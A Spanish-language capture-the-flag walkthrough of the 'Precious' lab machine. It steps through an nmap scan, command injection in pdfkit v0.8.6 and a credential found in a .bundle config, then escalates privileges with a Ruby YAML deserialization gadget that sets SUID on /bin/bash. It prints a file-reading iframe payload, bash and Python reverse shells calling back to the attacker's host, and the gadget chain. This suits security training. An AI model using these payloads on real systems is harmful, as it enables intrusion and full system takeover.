1. Comprobación del sistema operativo
python whichSystem.py 10.10.11.189
Tiene como salida:
10.10.11.189 (ttl -> 63): Linux
2. Comprobamos servicios y lanzamos scripts principales contra los principales puertos
nmap -Pn -sCV -p- 10.10.11.189
Obteniendo el siguiente resultado:
Starting Nmap 7.93SVN ( https://nmap.org ) at 2023-02-27 12:18 CET
Nmap scan report for 10.10.11.189
Host is up (0.037s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 140.63 seconds
Por lo que debemos añadir entonces precious.htb al archivo etc/hosts
.
3. Observamos la página web
Si accedemos a la web podemos ver como existe un convertidor de webpage a pdf. Para probarlo podemos lanzar un servidor web en nuestra máquina, para convertir dicho recurso web en un pdf.
sudo python -m http.server 8000
Una vez convertido, vemos que si hacemos una peticion a dicha dirección nos genera y descarga un archivo pdf. Se nos podría ocurrir meter en el archivo html, que muestra nuestro servidor, una inyección XSS, para que por ejemplo, muestre el archivo /etc/passwd
, estableciendo para ello lo siguiente:
<html>
<iframe src="file:///etc/passwd" width="800px" height="600px"></iframe>
</html>
Vemos como se realiza la petición a nuestro servidor, pero en el archivo pdf generado no se nos muestra nada.
4. Observamos el pdf generado
Se nos ocurre mirar los metadatos del archivo pdf generado, a través de la herramienta exiftool:
exiftool vexun3traf093pmqz68y50nxl5hffh1t.pdf
Observando los siguientes metadatos:
ExifTool Version Number : 12.50
File Name : vexun3traf093pmqz68y50nxl5hffh1t.pdf
Directory : .
File Size : 18 kB
File Modification Date/Time : 2023:02:27 12:38:01+01:00
File Access Date/Time : 2023:02:27 12:38:01+01:00
File Inode Change Date/Time : 2023:02:27 12:38:06+01:00
File Permissions : -r--------
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Vemos que entre dichos datos se encuentra el servicio y la versión con la que se está generando el pdf, en este caso con pdfkit v0.8.6, por lo que podemos buscar posibles vulnerabilidades a través de Internet.
5. Explotando el generador de pdfs
Encontramos una vulnerabilidad que afecta a dicho servicio y versión, mediante la cual podemos ejecutar comandos directamente introduciendo la url de la web objetivo junto con payload. Por ejemplo podemos ejecutar lo siguiente:
http://10.10.14.77:8000?name=%20`whoami`
Podemos entonces intentar ejecutar una revershell, mediante el siguiente comando:
http://10.10.14.77:8000?name=%20`sh -i >& /dev/tcp/10.10.14.77/1234 0>&1`
Vemos que esto no nos funciona y probamos con la siguiente con la siguiente peticón, mediante la cual intentamos obtener una revershell mediante un ejecutable de Python.
http://10.10.14.77:8000?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.77",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`
Si en nuestra máquina host lanzamos un netcat escuchando, observamos como si que somos capaces de obtener una shell con el usuario ruby.
6. Sanitizamos la shell
Los comandos básicos para sanitizar una shell son los siguientes:
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
7. Observamos los recursos del sistema
Observamos el directorio home del usuario ruby, en el que podemos encontrar un directorio llamada .bundle
. Si accedemos a su archivo de configuración, podemos observar lo siguiente:
henry:Q3c1AqGHtoI0aXAYFH
Intentamos acceder mediante ssh como el usuario henry
.
ssh henry@10.10.11.189
8. Flag de usuario
Somos capaces de obtener la flag de usuario -> a13e7efa79c1bf2dfef5e7b88388f992
9. Escalada de privilegios
Comprobamos si el usuario henry tiene alguna capacidad mediante el comando sudo -l
, y observamos lo siguiente:
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Si comprobamos dicho archivo /opt/update_dependencies.rb
, observamos que realiza un YAML.load
de un fichero llamado dependecies.yml. Podemos entonces probar a ejecutar el siguiente comando:
/usr/bin/ruby /opt/update_dependencies.rb
Como salida obtenemos que dicho fichero no existe, por lo que procedemos a crearlo
10. Creación del fichero YML
Buscando por internet nos aparecen diferentes recursos, en los que se ponen como ejemplo la ejecución de comandos desde un archivo .yml
. Para ello podemos establecer lo siguiente en este nuevo archivo:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
A modo de resumen, en dicho archivo le decimos que cambie los permisos de /bin/bash
para que cualquier user lo pueda ejecutar. Este lo enviamos mediante un servidor de python de nuestra maquina a la maquina objetivo, y lo guardamos en el directorio /home/henry
.
Si volvemos a ejecutar el script, observamos como somos capaces de obtener una shell como el usuario root.
11. Obtención flag usuario root
Somos entonces capaces de obtener el flag del usuario root -> 1fb7886a85d1d6f7b4c7827d4108a63d